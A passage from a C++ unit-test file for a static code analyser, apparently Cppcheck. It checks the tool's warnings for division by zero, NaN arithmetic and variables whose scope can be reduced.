% \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void 